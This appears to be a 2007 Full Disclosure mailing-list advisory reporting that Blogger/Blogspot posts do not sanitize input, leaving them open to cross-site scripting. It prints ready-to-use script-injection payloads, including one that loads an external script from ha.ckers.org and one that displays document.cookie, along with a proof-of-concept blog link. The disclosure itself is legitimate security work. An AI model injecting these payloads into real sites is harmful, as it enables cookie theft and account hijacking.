Full Disclosure: BLOGGER XSS VULNERABILITY

["Daniele Costa" <info () cheapware it>]

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BLOGGER XSS VULNERABILITY
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Blogspot.com

Homepage: http://www.blogspot.com

and

Blogger.com

Homepage: http://www.blogger.com

Affected files:

Post's Input boxes

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XSS DETAILS
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XSS vuln via injecting javascript code into any post.

Blogger doesn't sanitize user input during post process.
Try injecting the following code into a post

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

or just the well known

<SCRIPT >alert(document.cookie);</SCRIPT>

or

<SCRIPT >alert(document.domain);</SCRIPT>

I've noticed that for any blog hosted at blogspot.com the cookie will
be not shown.

Otherwise, if the blog is located inside your web site, the cookie
will be shown.
This probably depends on webserver configuration...

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Proof Of Concept
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http://pocasiculezza.blogspot.com/

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HISTORY
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Discovered : 07/11/2007 by Daniele Costa
Published : 07/11/2007 by Daniele Costa


-- 
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Daniele Costa
CheapWare Informatica
http://www.cheapware.it
http://www.iteam5.net
http://www.siculezza.it
http://www.thetubo.com

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